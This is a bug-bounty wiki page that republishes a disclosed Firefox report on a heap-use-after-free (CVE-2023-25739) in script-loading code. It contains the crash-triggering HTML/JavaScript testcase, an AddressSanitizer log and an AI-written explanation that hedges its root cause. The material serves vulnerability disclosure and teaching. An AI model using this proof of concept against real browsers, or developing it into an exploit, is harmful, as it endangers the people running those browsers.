Skip to content
Memory corruption Disclosed report Advanced CVE-2023-25739

Heap-use-after-free in mozilla::dom::ScriptLoadContext::~ScriptLoadContext

A crafted page that starts two dynamic module imports and then stops the window causes a heap-use-after-free in Firefox's script loading code. An attacker could crash the browser tab, and the memory error may be exploitable for code execution, though the report only demonstrates the crash.

Holger Fuhrmannek Follow

Originally disclosed on Mozilla

  • Fixed in 7 days
  • Paid in 8 days
  • Disclosed after 7 days
Text
Created attachment 9313667
asan_log.txt

After a few seconds the following testcase triggers a heap-use-after-free 
with a current asan build of firefox (product_version = 20230123-52f9e6382dce, installed via fuzzfetch --central -a).

'''
<script>
    import("data:text/javascript,0").catch(x => 0);
    import("data:text/javascript,0").catch(x => 0);
    window.stop();
</script>
'''
'''
==2398430==ERROR: AddressSanitizer: heap-use-after-free on address 0x61400000b640 at pc 0x7facd4b345e3 bp 0x7ffd70bfa260 sp 0x7ffd70bfa258
READ of size 8 at 0x61400000b640 thread T0 (file:// Content)
    #0 0x7facd4b345e2 in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:50:40
    #1 0x7facd4b345e2 in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:381:36
    #2 0x7facd4b345e2 in assign_assuming_AddRef /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:69:7
    #3 0x7facd4b345e2 in operator= /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:168:5
    #4 0x7facd4b345e2 in mozilla::dom::ScriptLoadContext::~ScriptLoadContext() /builds/worker/checkouts/gecko/dom/script/ScriptLoadContext.cpp:77:12
    #5 0x7facd4b346ad in mozilla::dom::ScriptLoadContext::~ScriptLoadContext() /builds/worker/checkouts/gecko/dom/script/ScriptLoadContext.cpp:71:41
...
'''


The testcase seems similar to the testcases of Bug 1291535 and Bug 1529203,  maybe the issues are related.

The original report as published on Mozilla's Bugzilla, by Holger Fuhrmannek. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the script load context was destroyed while a pending dynamic import still held or later used a reference to it, so the destructor touched already-freed memory.

Impact

The flaw crashes the browser process under AddressSanitizer and could potentially be exploited for code execution, though the report only shows a crash.

What the attacker needed

Victim opens a crafted page; JavaScript enabled

How it was found

  1. Open the test page in an AddressSanitizer build of Firefox.
  2. The page starts two dynamic module imports whose rejections are caught.
  3. The page then calls window.stop() to halt loading.
  4. After a few seconds the use-after-free is reported.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page loads a script, the browser keeps a small record of that load. Here, stopping the page while two script loads were still pending left that record pointing at memory that had already been freed. Reading the freed memory is a use-after-free, which can crash the browser and sometimes lets an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Holger Fuhrmannek

View all

32 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.